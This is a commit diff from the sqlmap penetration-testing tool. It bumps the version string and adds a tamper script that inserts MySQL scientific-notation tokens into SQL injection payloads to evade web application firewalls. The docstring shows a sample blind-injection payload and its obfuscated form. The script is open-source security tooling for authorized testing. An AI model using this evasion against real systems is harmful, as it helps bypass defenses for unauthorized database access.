Implements tamper script 'scientific' (#5205)

Author: stamparm

lib/core/settings.py

@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.6.10.7"
+VERSION = "1.6.10.8"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

tamper/scientific.py

@@ -0,0 +1,35 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Abuses MySQL scientific notation
+
+    Requirement:
+        * MySQL
+
+    Notes:
+        * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/
+
+    >>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1')
+    '1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1'
+    """
+
+    if payload:
+        payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload)
+        payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload)     # NOTE: MID and CAST don't work for sure
+
+    return payload